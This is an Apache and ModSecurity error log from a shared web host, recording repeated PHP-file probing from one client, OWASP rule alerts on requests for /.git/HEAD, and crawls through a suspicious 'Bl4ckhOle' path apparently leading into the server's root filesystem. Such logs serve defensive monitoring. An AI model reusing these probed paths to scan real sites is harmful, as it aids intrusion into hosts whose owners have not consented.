[Fri Jul 17 10:07:27.685457 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:27.848257 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:28.010609 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:28.176950 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:28.338540 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:28.503009 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:28.665099 2026] [proxy_fcgi:error] [pid 2064879:tid 2064879] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:28.832369 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:28.993399 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:29.155790 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:29.156379 2026] [security2:error] [pid 2063895:tid 2063895] [client 20.226.26.5:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/lankaher-global": Permission denied [hostname "sobaherbal.com"] [uri "/cache.php"] [unique_id "almxiRf3V7HXByUCfDSyMgAAABY"]
[Fri Jul 17 10:07:29.156397 2026] [security2:error] [pid 2063895:tid 2063895] [client 20.226.26.5:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/lankaher-ip": Permission denied [hostname "sobaherbal.com"] [uri "/cache.php"] [unique_id "almxiRf3V7HXByUCfDSyMgAAABY"]
[Fri Jul 17 10:07:29.324343 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:29.651833 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:29.813500 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:29.976615 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:30.140197 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:30.309612 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:30.509268 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:30.594606 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 57.141.18.24:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory124/subsystem/devices/memory75/subsystem/devices/memory13/node0/memory75/subsystem/uevent
[Fri Jul 17 10:07:30.673116 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:30.834205 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:30.932877 2026] [security2:error] [pid 2065296:tid 2065296] [client 57.141.18.99:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory53/subsystem/devices/memory49/node0/memory73/subsystem/devices/memory5/node0/cpu1/power/"] [unique_id "almxiqalZQB2GOvLY17dKQAAAAc"]
[Fri Jul 17 10:07:30.932987 2026] [security2:error] [pid 2065296:tid 2065296] [client 57.141.18.99:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory53/subsystem/devices/memory49/node0/memory73/subsystem/devices/memory5/node0/cpu1/power/"] [unique_id "almxiqalZQB2GOvLY17dKQAAAAc"]
[Fri Jul 17 10:07:30.996796 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:31.154136 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:52222] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:31.157144 2026] [proxy_fcgi:error] [pid 2064879:tid 2064879] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:31.319499 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:31.484747 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:31.649490 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:31.815312 2026] [proxy_fcgi:error] [pid 2065296:tid 2065296] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:31.989621 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:32.151375 2026] [proxy_fcgi:error] [pid 2065297:tid 2065297] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:32.314212 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:32.485358 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:32.657145 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:32.817798 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:32.980895 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:33.141974 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:33.311978 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:33.476360 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:33.641434 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:33.781522 2026] [security2:error] [pid 2029579:tid 2029579] [client 185.137.164.21:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.git/HEAD"] [unique_id "almxjSRF0UOO1RzB5_87gQAAAA4"]
[Fri Jul 17 10:07:33.781762 2026] [security2:error] [pid 2029579:tid 2029579] [client 185.137.164.21:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.git/HEAD"] [unique_id "almxjSRF0UOO1RzB5_87gQAAAA4"]
[Fri Jul 17 10:07:33.803763 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:33.932359 2026] [security2:error] [pid 2018768:tid 2018768] [client 185.137.164.19:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/.git/HEAD"] [unique_id "almxjVCBpfuYyhJ140vflAAAAB4"]
[Fri Jul 17 10:07:33.932616 2026] [security2:error] [pid 2018768:tid 2018768] [client 185.137.164.19:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/.git/HEAD"] [unique_id "almxjVCBpfuYyhJ140vflAAAAB4"]
[Fri Jul 17 10:07:33.974361 2026] [proxy_fcgi:error] [pid 2064879:tid 2064879] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:34.081629 2026] [security2:error] [pid 2029579:tid 2029579] [client 185.137.164.21:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almxjSRF0UOO1RzB5_87gQAAAA4"]
[Fri Jul 17 10:07:34.135328 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:34.301814 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:34.350079 2026] [security2:error] [pid 2018768:tid 2018768] [client 185.137.164.19:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almxjVCBpfuYyhJ140vflAAAAB4"]
[Fri Jul 17 10:07:34.628576 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:34.835016 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:35.000528 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:35.169356 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:35.330615 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:35.481103 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:49926] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:35.503753 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:35.677880 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:36.013428 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:36.176511 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:36.339405 2026] [proxy_fcgi:error] [pid 2065296:tid 2065296] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:36.581999 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:49954] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:36.661318 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:36.830107 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:37.007985 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:37.171856 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:37.219212 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:49980] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:37.337523 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:37.502598 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:37.667008 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:37.833498 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:37.998416 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:38.165895 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:38.328425 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:38.491384 2026] [proxy_fcgi:error] [pid 2064879:tid 2064879] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:38.654086 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:38.822956 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:38.984144 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:39.149302 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:39.310935 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:39.474454 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:39.635208 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:39.812214 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:39.973437 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:40.143459 2026] [proxy_fcgi:error] [pid 2065293:tid 2065293] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:40.274625 2026] [ssl:error] [pid 2068138:tid 2068138] (70014)End of file found: [client 66.85.158.91:50110] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:40.305566 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:40.403694 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almxk4e39YUk0SgV8AVHDAAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1025&page_105=1356
[Fri Jul 17 10:07:40.403850 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almxk4e39YUk0SgV8AVHDAAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1025&page_105=1356
[Fri Jul 17 10:07:40.469870 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:40.631279 2026] [proxy_fcgi:error] [pid 2065297:tid 2065297] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:40.803658 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:40.966403 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:41.146472 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:41.310092 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:41.474469 2026] [proxy_fcgi:error] [pid 2063883:tid 2063883] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:07:42.522267 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:45126] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:43.284475 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:43.287450 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:43.914763 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:45220] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:44.199401 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:45234] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:44.584042 2026] [core:error] [pid 2063895:tid 2063895] (13)Permission denied: [client 47.82.53.96:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:65/device/tty/ttyS3/line
[Fri Jul 17 10:07:44.720453 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:44.824723 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.088358 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.090137 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.090991 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.170565 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.171505 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.255404 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.255486 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.255511 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.255705 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.255874 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.255910 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.255929 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.256023 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.256075 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.256095 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.256190 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.256208 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.256312 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.256331 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.256349 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.256587 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.256694 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.256734 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.256756 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.256847 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.256870 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.256887 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.256905 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.256922 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.257012 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.257031 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.257062 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.257182 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.257375 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.257397 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.257418 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.257436 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.257453 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.257546 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.257569 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.257586 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.257602 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.257619 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.257645 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.257669 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.257687 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.257712 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.390950 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.390976 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.556278 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.577746 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.577881 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.577924 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.577976 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.578020 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.578075 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.578117 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.578148 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.578178 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
